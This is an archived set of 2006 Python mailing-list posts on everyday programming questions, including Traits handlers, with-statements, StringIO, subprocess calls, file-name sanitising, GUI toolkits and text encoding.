Thus, it doesn't "return" anything; your method is a "handler" method
that gets called when the value of a particular trait gets changed.

Why do you say it should return 0 or 1?  Do you mean that you want to
get the index into the list of enumeration choices?  The Enum trait
type is not quite like C in this regard.  In C/C++, enums are really
ints; in traits, enums are lists of values of possibly mixed type.

> I am relatively new to this GUI programming in Python and really could
> use some tips/hints.

No problem, hope the above helped.  You might want to email your
questions to envisage-dev at enthought.com (and subscribe to it!).  That
is the primary mailing list for several enthought libraries (including
traits) and you'll get very speedy, in-depth answers to your questions
there.


-Peter



From joncle at googlemail.com  Thu Oct 12 10:13:36 2006
From: joncle at googlemail.com (Jon Clements)
Date: 12 Oct 2006 07:13:36 -0700
Subject: Pickling an instance of a class containing a dict doesn't work
In-Reply-To: <1160662300.159122.20520@m7g2000cwm.googlegroups.com>
References: <4p6vk6Fh2jevU1@news.dfncis.de>
	<1160662300.159122.20520@m7g2000cwm.googlegroups.com>
Message-ID: <1160662416.716488.19740@k70g2000cwa.googlegroups.com>


Jon Clements wrote:

> if you change the above to:
>
> class subproject:
>     def __init__(self):
>         configuration = { }
>         build_steps = [ ]

Of course, I actually meant to write self.configuration and
self.build_steps; d0h!



From robert.kern at gmail.com  Mon Oct  2 13:03:29 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Mon, 02 Oct 2006 12:03:29 -0500
Subject: How to coerce a list of vars into a new type?
In-Reply-To: <1159803031.530669.105050@k70g2000cwa.googlegroups.com>
References: <slrnei29um.8ds.matt@mwilson.umlcoop.net>
	<1159803031.530669.105050@k70g2000cwa.googlegroups.com>
Message-ID: <efrgop$48r$2@sea.gmane.org>

bearophileHUGS at lycos.com wrote:
> Matthew Wilson wrote:
>> I want to verify that three parameters can all be converted into
>> integers, but I don't want to modify the parameters themselves.
> 
> To do what you need you can try this:
> 
> def f(a, b, c):
>     map(int, [a, b, c])
>     ...code...

That won't do anything since the names a, b, and c are never rebound.

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From johnjsal at NOSPAMgmail.com  Wed Oct 25 15:40:56 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Wed, 25 Oct 2006 19:40:56 GMT
Subject: with statements and exceptions
In-Reply-To: <s%O%g.158$1n3.4021@news.tufts.edu>
References: <s%O%g.158$1n3.4021@news.tufts.edu>
Message-ID: <c5P%g.159$1n3.4091@news.tufts.edu>

John Salerno wrote:
> I'm thinking about using a with statement for opening a file, instead of 
> the usual try/except block, but I don't understand where you handle an 
> exception if the file doesn't open. For example:
> 
> with open('myfile', 'r'):
>     BLOCK
> 
> I assume that BLOCK can/will contain all the other stuff you want to do, 
> which may involve try/except blocks, but what if the initial open() call 
> fails (for lack of file, etc.)? Is this the purpose of the with 
> statement, to handle this itself? Is there still some way that I can 
> respond to this and show the user an error message?
> 
> Thanks.

Let me just toss this in as well:

     def create_sql_script(self):
         with open('labtables.sql') as sql_script:
             return sql_script.read()

Does the file still get closed even though I have a return statement 
inside the with block?

Thanks.


From fabiofz at gmail.com  Sun Oct  8 16:51:16 2006
From: fabiofz at gmail.com (Fabio Zadrozny)
Date: Sun, 8 Oct 2006 17:51:16 -0300
Subject: Raw beginner....
In-Reply-To: <45288B4A.90702@gmail.com>
References: <45288B4A.90702@gmail.com>
Message-ID: <cfb578b20610081351s2a104aa6w2e7996f31bbe3955@mail.gmail.com>

On 10/8/06, Colin Lehmann <colin.lehmann at gmail.com> wrote:
> I am new to Python although I have been using Delphi since version one,
> I have been employed as a C and C++ programmer so when I went to Linux
> (Ubuntu 5.10) I thought Python looked pretty good.
> I downloaded and installed 'Eric Python IDE' which seems OK, any
> alternatives suggested will be looked at....

Suggestions: http://wiki.python.org/moin/IntegratedDevelopmentEnvironments

Cheers,

Fabio


From hanumizzle at gmail.com  Tue Oct 10 04:45:27 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Tue, 10 Oct 2006 04:45:27 -0400
Subject: Where is Python in the scheme of things?
In-Reply-To: <egdcol$4bv$1@wake.carmen.se>
References: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>
	<egdcol$4bv$1@wake.carmen.se>
Message-ID: <463ff4860610100145w46dd4322uc58d7d6ba171e2c3@mail.gmail.com>

On 10/9/06, Magnus Lycka <lycka at carmen.se> wrote:
> gord wrote:
> > As a complete novice in the study of Python, I am asking myself where this
> > language is superior or better suited than others. For example, all I see in
> > the tutorials are lots of examples of list processing, arithmetic
> > calculations - all in a DOS-like environment.

> There are a number of free and commercial IDEs and GUI tool kits,
> but I don't know if there is anything that gives you such a low
> entry threshold for GUI development as VB or Delphi. I never
> "painted" GUIs in Python, I coded them in a plain editor, but
> you get used to that pretty soon, and you'll feel more in control,
> and the more complex your GUIs get, the more you can gain from
> having that control.

Before I say anything else, let me preface it with this: I am a
language-comparisons-discussion whore. Moving on...

Glade can be used with Python you know. I haven't tried Boa
Constructer yet, this is another interface building tool that seems to
have gained a lot of popularity. I do like the wx bindings though.

> I know, it's much easier to choose if you only have one choice,
> but this is the way things work in free software: no one tries to
> lock you in, so there is a flora of different tools suited for
> different needs. This makes it a bit harder to get started: You
> need to take more decisions--but you'll hopefully end up with
> something which is a better fit, where you don't need to work
> around the limits of the tool, or limit your world view to
> idioms supported a one-size-fits-all tool.

Historical note: Esperanto was a colossal failure. :)

> On the other hand it's more like C++ than like Java in the sense that
> it supports object-oriented programming, but it doesn't enforce it. C++
> and Python (as well as Delphi's Object Pascal I guess) can be described
> as multi-paradigm languages.

Ruby is also very good in this respect, although its procedural
programming really *isn't*, however it may look like it. But that's an
implementation detail. I like Python more because of the very strongly
positive direction it is moving in, and for sheer pragmatism of
more/better tools, better documentation, etc. It has its quirks, but
really...what doesn't? I am not a web framework geek, but I have heard
that CherryPy is better than RoR. If it isn't just the fact that
Python is older and more mature, maybe there is some insidious wisdom
in what look like kludges and warts to the untrained eye. I admire
matz and Guido van Rossum both, but Guido has all in all done a
fantastic job with the thousands of compromises that needed to be made
to produce a successful language. Like matz, he is also very humble in
spite of his great talents. (Which can't be said for Larry Wall,
though he is brilliant if perhaps misguided :))

(And to be fair, the B&D approach to OOP can *occasionally* have its benefits.)

> It was a revelation to bump into Python in 1996. Suddenly, there was
> something which was easy to get started with, but still just felt
> better and better the longer I used it. That's the killer feature
> in my mind.

AGREED! :)

-- Theerasak


From gnewsg at gmail.com  Fri Oct  6 07:50:11 2006
From: gnewsg at gmail.com (billie)
Date: 6 Oct 2006 04:50:11 -0700
Subject: How to run in background?
In-Reply-To: <mailman.642.1159255082.10491.python-list@python.org>
References: <1159185721.476762.222830@b28g2000cwb.googlegroups.com>
	<mailman.642.1159255082.10491.python-list@python.org>
Message-ID: <1160135411.056915.34130@b28g2000cwb.googlegroups.com>

I'm sorry. I tried with "windows=myscript.py" but it doesn't seem to
work.
I really don't know where find this information that's extremely
important for me.
I googled a lot but I didn't found a solution for my problem. :-\



From mike$#at^&nospam!%trauschus  Mon Oct 23 18:17:00 2006
From: mike$#at^&nospam!%trauschus (Michael B. Trausch)
Date: Mon, 23 Oct 2006 18:17:00 -0400
Subject: Attempting to parse free-form ANSI text.
In-Reply-To: <mailman.928.1161507871.11739.python-list@python.org>
References: <GsGdnTIYc-lXaafYnZ2dnUVZ_sCdnZ2d@comcast.com>
	<mailman.928.1161507871.11739.python-list@python.org>
Message-ID: <IJSdnapq7drDoqDYnZ2dnUVZ_sadnZ2d@comcast.com>

Frederic Rentsch wrote:
> Michael B. Trausch wrote:
>> Alright... I am attempting to find a way to parse ANSI text from a
>> telnet application.  However, I am experiencing a bit of trouble.
>>
[snip]
>
> *I have no experience with reading from TCP/IP. But looking at your
> program with a candid mind I'd say that it is written to process a chunk
> of data in memory.
>

That would be correct... that's the only way that I can think of to do
it, since the chunks come in from the network to a variable.

>
> If, as you say, the chunks you get from TCP/IP may
> start and end anywhere and, presumably you pass each chunk through
> AppendText, then you have a synchronization problem, as each call resets
> your escape flag, even if the new chunk starts in the middle of an
> escape sequence. Perhaps you should cut off incomplete escapes at the
> end and prepend them to the next chunk.
>

The question would be -- how does one determine if it is incomplete or
not?  The answer might lie in the previous response to this, where there
is another ANSI python module that works with the text.  Actually, it's
possible that my entire approach is faulty -- I am, after all, a rather
newbie programmer -- and this is my first go at an application that does
something other than "Hello, world!"

> 
> And:
> 
> if(len(buffer) > 0):                         
> wx.TextCtrl.AppendText(self, buffer)      <<< Are you sure text goes
> into the same place as the controls?
>

What do you mean?  This function is in AnsiTextCtrl (so, it is
AnsiTextCtrl.AppendText).  I have derived AnsiTextCtrl from wx.TextCtrl,
so I think that if I need to call the parent's function, I would do so
directly, with 'self' being the current object, and buffer being the
text to add from the network.

When I call AppendText from an instance of a text control, (e.g.,
AnsiTextCtrl.AppendText(buffer)), I don't need to provide the object
that needs to be worked on.  It seems to work okay; but I know that just
because something works okay, that doesn't mean it is right.  So, am I
doing it wrong?

>                                           if(len(AnsiBuffer) >
> 0):                       wx.TextCtrl.AppendText(self, AnsiBuffer)  <<<
> You say you want to strip the control sequences
> 

Yes, in the end I do.  Right now, I had to see what was going on.  I
figure that once I do figure out how to get it working, I can see the
color changes when the ANSI code shows up in the buffer, and they should
match up with the little chart that I have of the codes here.
Hopefully.  And then I can stop printing the extra crud on here.

	-- Mike


From python.list at tim.thechases.com  Tue Oct 17 13:14:10 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Tue, 17 Oct 2006 12:14:10 -0500
Subject: making a valid file name...
In-Reply-To: <1161102165.272182.207990@m73g2000cwd.googlegroups.com>
References: <1161102165.272182.207990@m73g2000cwd.googlegroups.com>
Message-ID: <45350F62.7000109@tim.thechases.com>

> Sometimes the user inputs characters that aren't valid 
> characters for a file or directory name. Here are the
> characters that I consider to be valid characters...
> 
> valid =
> ':./,^0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ '

Just a caveat, as colons and slashes can give grief on various 
operating systems...combined with periods, it may be possible to 
cause trouble too...

> This is what I have:
> 
> def fixfilename(fname):
> 	valid =
> ':.\,^0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ '
> 	for i in range(len(fname)):
> 		if valid.find(fname[i]) < 0:
> 			fname[i] = ' '
>        return fname
> 
> Anyone think of a simpler solution?

I don't know if it's simpler, but you can use

 >>> fname = "this is a test & it ain't expen$ive.py"
 >>> ''.join(c in valid and c or ' ' for c in fname)
'this is a test   it ain t expen ive.py'

It does use the "it's almost a ternary operator, but not quite" 
method concurrently being discussed/lambasted in another thread. 
  Treat accordingly, with all that may entail.  Should be good in 
this case though.

If you're doing it on a time-critical basis, it might help to 
make "valid" a set, which should have O(1) membership testing, 
rather than using the "in" test with a string.  I don't know how 
well the find() method of a string performs in relationship to 
"in" testing of a set.  Test and see, if it's important.

-tkc





From apardon at forel.vub.ac.be  Tue Oct 10 07:30:27 2006
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 10 Oct 2006 11:30:27 GMT
Subject: operator overloading + - / * = etc...
References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com>
	<slrneig76h.6u2.sybrenUSE@schuimige.stuvel.eu>
	<452820C1.5020607@tim.thechases.com> <egakob$76a$2@sea.gmane.org>
	<20061010114945.GA4478@dagan.sigpipe.cz>
	<mailman.201.1160476378.11739.python-list@python.org>
	<7xlknoh1kn.fsf@ruckus.brouhaha.com>
Message-ID: <slrnein12j.55m.apardon@rcpc42.vub.ac.be>

On 2006-10-10, Paul Rubin <http> wrote:
> "Fredrik Lundh" <fredrik at pythonware.com> writes:
>> or for the perhaps-overly-clever hackers,
>> 
>>     for x in iter(lambda: foo() or None, None):
>>         process(x)
>
>   for x in takewhile(bool, (foo() for _ in repeat(None))):
>      process(x)
>
> Meh, both are ugly.

Sure, but so is IMO the current pythonic idiom.

Suppose one has the following intention in mind:

  while x = setup():
    if y = pre_process() in ErrorCondition:
      break
    post_process(y)
  else:
    NormalTermination()

The pythonic idiom for this case would then be something like:

  while 1:
    x = setup()
    if x:
      NormalTermination()
      break
    y = pre_process(x)
    if y in ErrorCondition:
      break
    post_process(y)

There was some time it seemed PEP: 315 would be implemented so
that this could have been written as:

  do:
    x = setup()
  while x:
    y = pre_process(x)
    if y in ErrorCondition:
      break
    post_process(y)
  else:
    NormalTermination()


Which IMO would have been clearer. Alas PEP 315 is deffered so
it will be probably a long time before this will be implemented.


From irmen.NOSPAM at xs4all.nl  Sun Oct 22 13:58:44 2006
From: irmen.NOSPAM at xs4all.nl (Irmen de Jong)
Date: Sun, 22 Oct 2006 19:58:44 +0200
Subject: Socket module bug on OpenVMS
In-Reply-To: <mailman.946.1161537498.11739.python-list@python.org>
References: <mailman.946.1161537498.11739.python-list@python.org>
Message-ID: <453bb156$0$324$e4fe514c@news.xs4all.nl>

Jean-Paul Calderone wrote:
> I think everyone can agree that Python shouldn't crash.

Well, it doesn't really crash in a bad way, in my example:
it doesn't work because it simply raises a socket exception all the time.

> Whether Python should propagate other kinds of errors from the underlying
> platform is a harder question though.  At the lowest level interface, it
> seems to me that it _should_ propagate them.  If there is a general way to
> handle them, then a higher layer can be built on top of that lowest level
> which does so.

We already have a low-level "_socket" module (builtin) and a higher level
"socket" module (implemented in python in the std lib)...
I could imagine that the "socket" module would offer methods that can deal
with platform bugs such as the two I mentioned in my original posting.

I have never used _socket directly by the way (and don't think anyone
else ever did?)


--Irmen


From izakmarais at yahoo.com  Tue Oct  3 09:21:08 2006
From: izakmarais at yahoo.com (izak marais)
Date: Tue, 3 Oct 2006 06:21:08 -0700 (PDT)
Subject: Newbie question: python doesn't search the cwd for my module
Message-ID: <20061003132108.5834.qmail@web50903.mail.yahoo.com>

Hello All

I want to import a module I wrote to use it in a script. But, it is not in the same directory as the script I want to import it into. So my solution is to put the following piece of code in the script:

import os
os.chdir(<the direcotry where the module is kept>)
import <the module>

This generates an error: 'ImportError: no module named <the module>'

If I do the exact same code in interactive mode, using ipython it works fine, but when I try it in a script I get the error. I've even used os.listdir() after changing the directory to confirm that the module is in the cwd (and it is).

Where am I going wrong?
(I use windows XP, and enthought edition python2.4)

Thanks
Izak

 		
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 Everyone is raving about the  all-new Yahoo! Mail.
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From simonwittber at gmail.com  Sun Oct  1 11:37:31 2006
From: simonwittber at gmail.com (Simon Wittber)
Date: 1 Oct 2006 08:37:31 -0700
Subject: Generating unique row ID ints.
Message-ID: <1159717051.819475.215270@i42g2000cwa.googlegroups.com>

I'm building a web application using sqlalchemy in my db layer.

Some of the tables require single integer primary keys which might be
exposed in some parts of the web interface. If users can guess the next
key in a sequence, it might be possible for them to 'game' or
manipulate the system in unexpected ways. I want to avoid this by
generating a random key for each row ID, and have decided to use the
same approach for all my single key tables.

Are there any best practices for implementing this?

If the random module is suitable, does anyone have any good ideas on
how this could be implemented?

Some questions which came to mind are:
    Would I need to save and restore the random module state when
generating id's for each table?
    What would be an appropriate seed?
    How many random integers can I generate before a repeat becomes
probable?

I've got my own ideas for implementing this, but am interested to see
how/if anyone else has tackled the same problem.


-Sw.



From fredrik at pythonware.com  Fri Oct 20 01:43:15 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 20 Oct 2006 07:43:15 +0200
Subject: Tkinter--does anyone use it for sophisticated GUI development?
In-Reply-To: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
Message-ID: <eh9nlk$895$1@sea.gmane.org>

Kevin Walzer wrote:

> Coming from Tcl/Tk, where there are a huge number of extension packages
> to enhance the Tk widgets and which allow you to make really polished
> GUI's, I'm struck mainly by how little of this stuff has made it over
> into Tkinter/Python. For instance, I've developed several Tcl
> applications that use the core Tk widgets, the Tile theming package, the
> Bwidget set (great tree widget and listbox, which allows you to embed
> images), and tablelist (an extremely flexible muti-column listbox
> display). I've found Python wrappers for some of this stuff, but almost
> no documentation on how to use them, and very little in the way of
> actual applications making use of them--which is itself a red flag.

on the other hand, such wrappers are usually extremely simple, and the 
mapping between Python and Tk is trivial.  there's simply not much to 
add to the existing Tk module docs.

> Am I better off biting the bullet and learning wxPython--a different GUI
> paradigm to go with the new language I'm trying to learn?

that's almost designed to get "wx rul3z d00d" replies from the wx crowd. 
  let's see if they bite.

 > What do other Tkinter developers think?

"Those people who have nothing better to do than post on the Internet 
all day long are rarely the ones who have the most insights"

if you want to reach Tkinter developers, the following forum might be 
more appropriate:

     http://mail.python.org/mailman/listinfo/tkinter-discuss

that list is more focussed on solving specific problems, though; Tkinter 
developers just don't seem very interested in arguments about world 
domination.  guess we've inherited that from the Tcl world, or maybe 
we're just too busy doing stuff ;-)

</F>



From martin at v.loewis.de  Wed Oct 11 15:49:15 2006
From: martin at v.loewis.de (=?ISO-8859-15?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 11 Oct 2006 21:49:15 +0200
Subject: does raw_input() return unicode?
In-Reply-To: <slrneipofg.1uk.horpner@FIAD06.norwich.edu>
References: <12iln7en9ipit77@corp.supernews.com>
	<Xns98585798B4CC5duncanbooth@127.0.0.1>
	<1160541147.208698.252310@e3g2000cwe.googlegroups.com>
	<slrneipofg.1uk.horpner@FIAD06.norwich.edu>
Message-ID: <452D4ABB.8020704@v.loewis.de>

Neil Cerutti schrieb:
> I'm all mindboggley. Just when I thought I was starting to
> understand how this character encoding stuff works. Are
> PythonWin's stdout and stdin implementations is incomplete?

Simple and easy: yes, they are.

Regards,
Martin


From ilias at lazaridis.com  Wed Oct 11 23:15:43 2006
From: ilias at lazaridis.com (Ilias Lazaridis)
Date: 11 Oct 2006 20:15:43 -0700
Subject: Python component model
In-Reply-To: <mailman.347.1160621959.11739.python-list@python.org>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<pan.2006.10.09.18.24.45.251048@gmx.net>
	<452b7aae$0$306$426a74cc@news.free.fr> <eghai4$615$1@online.de>
	<mailman.343.1160617110.11739.python-list@python.org>
	<1160618190.314729.236250@c28g2000cwb.googlegroups.com>
	<ca55a9900610111907l7e897261pd1e0929f0251b76e@mail.gmail.com>
	<mailman.347.1160621959.11739.python-list@python.org>
Message-ID: <1160622943.197384.91340@m7g2000cwm.googlegroups.com>

Robert Kern wrote:
> Peter Decker wrote:
> > On 11 Oct 2006 18:56:30 -0700, Ilias Lazaridis <ilias at lazaridis.com> wrote:
> >
> >> yes, an interesting tool.
> >>
> >> But to get more attention and developers, the project needs to be
> >> polished.
> >>
> >> really unattractive resources:
> >>
> >> http://dabodev.com
> >> http://case.lazaridis.com/wiki/DaboAudit
> >
> > Well, then, why not contribute? Or are you waiting for everyone else
> > to do it for you?
>
> No, he's just a troll that enjoys telling everyone what to do. Don't try to get
> him to contribute anything useful; it won't work.

Mr. Kern! Seeing you working on such a seemingly excellent product, I
am really wondering about your tenor.

can you please inform me (and the interested readers) about the
persistency mechanism within traits:

http://groups.google.com/group/comp.lang.python/msg/8e89ed163b978fe2

.



From jmpurser at gmail.com  Fri Oct 13 13:31:09 2006
From: jmpurser at gmail.com (John Purser)
Date: Fri, 13 Oct 2006 10:31:09 -0700
Subject: IDE that uses an external editor?
In-Reply-To: <17711.51000.610108.986578@montanaro.dyndns.org>
References: <17711.51000.610108.986578@montanaro.dyndns.org>
Message-ID: <1160760669.5317.3.camel@localhost.localdomain>

On Fri, 2006-10-13 at 12:04 -0500, skip at pobox.com wrote:
> One thing that's kept me from even looking at IDEs is that to the best of my
> knowledge none of them will integrate properly with external editors like
> Emacs or vi.  I know lots of tools support "Emacs-like keybindings", but
> believe me, I've never found one that does a decent job of that.  There is
> just so much more to powerful editors like Emacs or vi than a handful of
> cursor movement commands.  Once a person is proficient they generally won't
> accept substitutes.
> 
> So, please prove me wrong.  Are there any IDEs that will actually work with
> an external instance of Emacs (either by firing it up or by using a remote
> connection program like gnuclient)?
> 
> Thx,
> 
> Skip

What he said.  

I like a number of the IDEs.  Very handy.  But when I need to cut code I
want VIM.





From webraviteja at gmail.com  Thu Oct 19 17:46:22 2006
From: webraviteja at gmail.com (Ravi Teja)
Date: 19 Oct 2006 14:46:22 -0700
Subject: Rapid desktop application development
In-Reply-To: <1161292976.350842.314090@m7g2000cwm.googlegroups.com>
References: <1161292976.350842.314090@m7g2000cwm.googlegroups.com>
Message-ID: <1161294382.107687.283010@i42g2000cwa.googlegroups.com>


Stephen Eilert wrote:
> Hi all,
>
> There has been much hype lately about web "megaframeworks", like
> TurboGears, Django and Rails(Ruby side). Those are all fantastic
> frameworks, nicely integrated so that the user can focus on solving his
> problem, instead of doing all the scaffolding and framework integration
> by hand.
>
> Now, I am not a fan of web applications so I'm creating a few GUI
> applications using Python. Thanks to wxPython, those are all
> native-looking, with powerful components. This is quite nice. Now, I
> want to use some OR-Mapper, so I chose SQLObjects. This is nice too. I
> do have to write controllers, model, and all the glue code between the
> frameworks by hand.
>
> However, I don't have to do that with a framework such as TurboGears,
> for web applications. Everything is neatly integrated so that I just
> have to "fill in the blanks". It would be the same application, except
> that the presentation is GUI-based, instead of Web-based. MVC
> architecture too and so on.
>
> Are there any frameworks like those, for GUI applications? It would be
> interesting to abstract away that repetitive work.

Dabo
http://dabodev.com/

TraitsUI
http://code.enthought.com/traits/



From makerjoe at gmail.com  Tue Oct 24 12:50:10 2006
From: makerjoe at gmail.com (makerjoe)
Date: 24 Oct 2006 09:50:10 -0700
Subject: python servlet engine
In-Reply-To: <453dca4b$0$22735$426a34cc@news.free.fr>
References: <1161652946.506350.207550@b28g2000cwb.googlegroups.com>
	<453dca4b$0$22735$426a34cc@news.free.fr>
Message-ID: <1161708610.245067.136240@i3g2000cwc.googlegroups.com>

hi bruno

according to the one most used over the python developers community
and/or the one who has the easier implementation method

makerjoe


Bruno Desthuilliers ha escrito:

> makerjoe wrote:
> > hi, all
> > i would like to know which is the best PSE
>
> "best" according to what metrics ?
>
> > i have to choose to use
> > servlets with mod_python in my HRYDROGEN project
> > (http://makerjoe.sytes.net/pycrud/query.psp)
>
>
>
>
> --
> bruno desthuilliers
> python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
> p in 'onurb at xiludom.gro'.split('@')])"



From rurpy at yahoo.com  Tue Oct 17 11:10:04 2006
From: rurpy at yahoo.com (rurpy at yahoo.com)
Date: 17 Oct 2006 08:10:04 -0700
Subject: OT: What's up with the starship?
In-Reply-To: <1161021746.883641.224780@m73g2000cwd.googlegroups.com>
References: <mailman.419.1160722798.11739.python-list@python.org>
	<SEhYg.7681$gL.2383@southeast.rr.com>
	<1160926000.351967.8340@f16g2000cwb.googlegroups.com>
	<1160938429.707909.28360@f16g2000cwb.googlegroups.com>
	<1160947865.920162.173040@i3g2000cwc.googlegroups.com>
	<1160974552.906162.115060@k70g2000cwa.googlegroups.com>
	<1160983523.518768.16110@e3g2000cwe.googlegroups.com>
	<1160993757.780911.37610@b28g2000cwb.googlegroups.com>
	<1161020365.264307.24100@i3g2000cwc.googlegroups.com>
	<1161020758.218728.225800@k70g2000cwa.googlegroups.com>
	<1161021746.883641.224780@m73g2000cwd.googlegroups.com>
Message-ID: <1161097804.421980.114520@i42g2000cwa.googlegroups.com>


rurpy at yahoo.com wrote:
> micahel at gmail.com wrote:
> > r... at yahoo.com wrote:
> >
> > > I don't think that would help in the case of Pywin32 since the
> > > Sourceforge dates for build 210 are 9/22.
> > > I emailed Mark Hammond but have not heard anything back yet.
> >
> > In the case of pywin32, are you at all sure that you actually
> > downloaded anything from starship.python.net?  AFAICT all the files are
> > now hosted on sf, and there doesn't seem to be any vaguely new files in
> > the backup of /home/www.
>
> The files I downloaded were from sourceforge.  I don't know if
> starship.python.net hosts the source files or plays any role in
> building the disrtribution package.  It may be that is all done
> elsewhere.  But given starship.python.net's historical association
> with Pywin32, I am not going to just assume that.

In email, Mark Hammond said that that the Pywin32 code is not
hosted at starship.python.net, nor are the distributions built there.
(I assume this does not apply to the very old win32all stuff that
*is* at python.net but I doubt anyone uses those anymore.)



From skryskalla at gmail.com  Mon Oct 16 08:59:47 2006
From: skryskalla at gmail.com (skryskalla at gmail.com)
Date: 16 Oct 2006 05:59:47 -0700
Subject: Convert StringIO to string
References: <mailman.562.1161001625.11739.python-list@python.org>
Message-ID: <1161003587.555236.113490@i42g2000cwa.googlegroups.com>

Jonathan Bowlas wrote:
> But obviously replace() isn't an attribute of StringIO so I guess I need to
> convert it to a string first, can someone please advise how I can do this?

StringIO objects are file-like objects, so you need to use read or
readlines to get the string data out of it (just like a regular file).
Before reading remember to seek back to the beginning to get all of the
data ("Be kind, rewind!"):

>>> import StringIO
>>> s = StringIO.StringIO()
>>> s.write("hello world\n")
>>> s.seek(0)
>>> s.read()
'hello world\n'

>>> s = StringIO.StringIO()
>>> s.write("hello world\n")
>>> s.read()
''



From ewijaya at i2r.a-star.edu.sg  Tue Oct  3 05:05:05 2006
From: ewijaya at i2r.a-star.edu.sg (Wijaya Edward)
Date: Tue, 03 Oct 2006 17:05:05 +0800
Subject: Howto pass Array/Hash into Function
Message-ID: <3ACF03E372996C4EACD542EA8A05E66A061581@mailbe01.teak.local.net>


Hi,
 
How can I pass Array, Hash, and a plain variable
in to a function at the same time.
 
I come from Perl. Where as you probably know
it is done like this:
 
sub myfunc {
 
    my ($plain_var, $hash_ref,$arref) = @_;
    # Do sth with those variables
 
   return;
}
 
I wonder how can that be done in Python.
 
Regards,
Edward WIJAYA
SINGAPORE

------------ Institute For Infocomm Research - Disclaimer -------------
This email is confidential and may be privileged.  If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you.
--------------------------------------------------------


From maeda at ansl.ntt.co.jp  Fri Oct  6 01:32:44 2006
From: maeda at ansl.ntt.co.jp (Yoichi Maeda)
Date: Fri, 6 Oct 2006 14:32:44 +0900 (JST)
Subject: Notice from auto reply program
Message-ID: <200610060532.k965WiBC002715@orfe.makuhari.ansl.ntt.co.jp>

  An e-mail address of Yoichi Maeda has been moved to 
yoichi.maeda at ntt-at.co.jp. Your mail has been forwarded to the new address.

  Thank you.


From jorge.com.br at gmail.com  Mon Oct  2 09:13:05 2006
From: jorge.com.br at gmail.com (Jorge Vilela)
Date: Mon, 2 Oct 2006 09:13:05 -0400
Subject: Rich view for python?
Message-ID: <4cfa17b10610020613l7e7b6009i9380a1a672e993f7@mail.gmail.com>

Hello, this is my first post and hope can help in next posts :)

i have a question, and think that many peoples have same question.
Do exists any component to rich editing text?
I has seen the Rich View for Delphi, it looks like an embeded world in app,
so i though that could exist something as it for python.
I'm not looking for a python IDE or so, just a component to edit text in
application.



Thanks.
Jorge Vilela.
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From nntp2 at alex29.dp.ua  Thu Oct 26 07:36:17 2006
From: nntp2 at alex29.dp.ua (Alex Kachanov)
Date: Thu, 26 Oct 2006 14:36:17 +0300
Subject: problem using subprocess.call
Message-ID: <ehq6k0$1pcf$1@pandora.alkar.net>

Hi!
running py module with the following code from shell:
__
    dir=os.path.join(os.path.expanduser("~/domains/domain.com/html"),'test')
    subprocess.call(['find',dir+" -name '*.zip' -execdir unzip {} \;"])
__
returns:
__
find: /home/clients/alex291_ftp0/domains/domain.com/html/test -name 
'*.zip' -execdir unzip {} \;: No such file or directory
__

Maybe I should change some escape-symbols? Which of them?
Tricks with
r"..."
"""..."""
\\
didn't help...





From no-spam at no-spam-no-spam.com  Sat Oct 28 10:54:53 2006
From: no-spam at no-spam-no-spam.com (robert)
Date: Sat, 28 Oct 2006 16:54:53 +0200
Subject: latest numpy & scipy - incompatible ?
Message-ID: <ehvr00$n58$1@news.albasani.net>

I'm using latest numpy & scipy. What is this problem ? :

>>> import scipy.stats
RuntimeError: module compiled against version 1000002 of C-API but this version of numpy is 1000009
Traceback (most recent call last):
  File "<interactive input>", line 1, in ?
  File "C:\PYTHON23\Lib\site-packages\scipy\stats\__init__.py", line 7, in ?
    from stats import *
  File "C:\PYTHON23\Lib\site-packages\scipy\stats\stats.py", line 191, in ?
    import scipy.special as special
  File "C:\PYTHON23\Lib\site-packages\scipy\special\__init__.py", line 8, in ?
    from basic import *
  File "C:\PYTHON23\Lib\site-packages\scipy\special\basic.py", line 8, in ?
    from _cephes import *
ImportError: numpy.core.multiarray failed to import
>>> import numpy.core.multiarray
>>> 
>>> import scipy
>>> scipy.__version__
'0.5.1'
>>> numpy.__version__
'1.0'
>>> 


-robert


From clodoaldo.pinto at gmail.com  Wed Oct  4 15:40:08 2006
From: clodoaldo.pinto at gmail.com (Clodoaldo Pinto Neto)
Date: 4 Oct 2006 12:40:08 -0700
Subject: CGI Tutorial
In-Reply-To: <1159990122.487089.133950@i42g2000cwa.googlegroups.com>
References: <1159990122.487089.133950@i42g2000cwa.googlegroups.com>
Message-ID: <1159990808.443737.85880@i3g2000cwc.googlegroups.com>

Clodoaldo Pinto Neto wrote:
> I'm just building a Python CGI Tutorial and would appreciate any
> feedback from the many experts in this list.

http://webpython.codepoint.net



From martin at v.loewis.de  Tue Oct 17 14:17:09 2006
From: martin at v.loewis.de (=?ISO-8859-15?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 17 Oct 2006 20:17:09 +0200
Subject: Faulty encoding settings
In-Reply-To: <slrnej9ogv.nk.horpner@FIAD06.norwich.edu>
References: <slrnej9ogv.nk.horpner@FIAD06.norwich.edu>
Message-ID: <45351E25.5040501@v.loewis.de>

Neil Cerutti schrieb:
> The Cygwin binary I have (2.4.3) reports sys.stdin.encoding as
> 'US-ASCII', which is quite wrong. A Cygwin terminal uses, as far
> as I can tell, iso-8859-1. This renders the above construction
> useless if the user enters any character codes above 128.
> Using raw_input instead of readline addresses the problem by making
> it impossible to enter non-ascii text.
> 
> Please advise.

